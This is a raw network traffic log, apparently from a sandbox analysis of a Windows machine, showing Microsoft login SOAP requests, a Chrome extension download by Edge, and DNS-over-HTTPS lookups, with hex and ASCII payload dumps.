2024-11-18 14:16:56 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-18 14:16:56 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 18 Nov 2024 14:15:56 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C540_BAY x-ms-request-id: 24f691c3-fa9d-4dc4-86ff-c5b3df36a6b0 PPServer: PPV: 30 H: PH1PEPF00011FDF V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 18 Nov 2024 14:16:55 GMT Connection: close Content-Length: 11392
2024-11-18 14:16:56 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49753	142.250.185.161	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:16:57 UTC	594	OUT	GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:16:57 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AFiumC4aLkN4vLfx9Ko-Kyn2_Aqimi4nXxGXfYQ7A9BuUNzlci1gEIyelbKyXlYP7WA06kvj9xQ X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Sun, 17 Nov 2024 17:35:54 GMT Expires: Mon, 17 Nov 2025 17:35:54 GMT Cache-Control: public, max-age=31536000 Age: 74463 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-18 14:16:57 UTC	812	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-18 14:16:57 UTC	1378	IN	Data Raw: 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc 7e b6 70 ca 3d d5 33 Data Ascii: Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ~p=3
2024-11-18 14:16:57 UTC	1378	IN	Data Raw: d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 ee 75 a8 ae 07 7e 6c Data Ascii: xC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$u~l
2024-11-18 14:16:57 UTC	1378	IN	Data Raw: f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 09 91 a0 a4 e8 82 d5 Data Ascii: H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-18 14:16:57 UTC	1378	IN	Data Raw: bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 2d 1d cf 3d 1a be 73 Data Ascii: !3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w-=s
2024-11-18 14:16:57 UTC	1378	IN	Data Raw: 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 b4 ff a2 0b 44 8c 6c Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?BrfDl
2024-11-18 14:16:57 UTC	1378	IN	Data Raw: 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 0a 53 59 ae f5 66 32 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79SYf2
2024-11-18 14:16:57 UTC	1378	IN	Data Raw: 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 21 00 dd 3a a8 e3 88 Data Ascii: [{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&!:
2024-11-18 14:16:57 UTC	1378	IN	Data Raw: a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f ae 25 09 87 d3 41 99 Data Ascii: TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/%A
2024-11-18 14:16:57 UTC	1378	IN	Data Raw: 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 73 73 61 67 65 73 2e Data Ascii: v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/messages.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49771	162.159.61.3	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:16:57 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 14:16:57 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-18 14:16:57 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 14:16:57 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e4894cf7c3b464e-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 14:16:57 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 13 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49772	162.159.61.3	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:16:57 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 14:16:57 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-18 14:16:57 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 14:16:57 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e4894cf8cf10b71-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 14:16:57 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 84 00 04 8e fb ba 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49773	162.159.61.3	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:16:57 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 14:16:57 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-18 14:16:57 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 14:16:57 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e4894cfad73e9b1-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 14:16:57 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 19 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49774	20.190.159.0	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:16:58 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-18 14:16:58 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 